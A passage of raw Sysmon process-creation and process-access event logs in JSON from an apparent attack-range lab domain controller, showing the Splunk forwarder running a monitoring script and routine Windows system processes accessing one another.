ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.758\r\nProcessGuid: {90617006-3FE8-5F2D-0000-001030450300}\r\nProcessId: 2288\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.758","ProcessGuid":"{90617006-3FE8-5F2D-0000-001030450300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 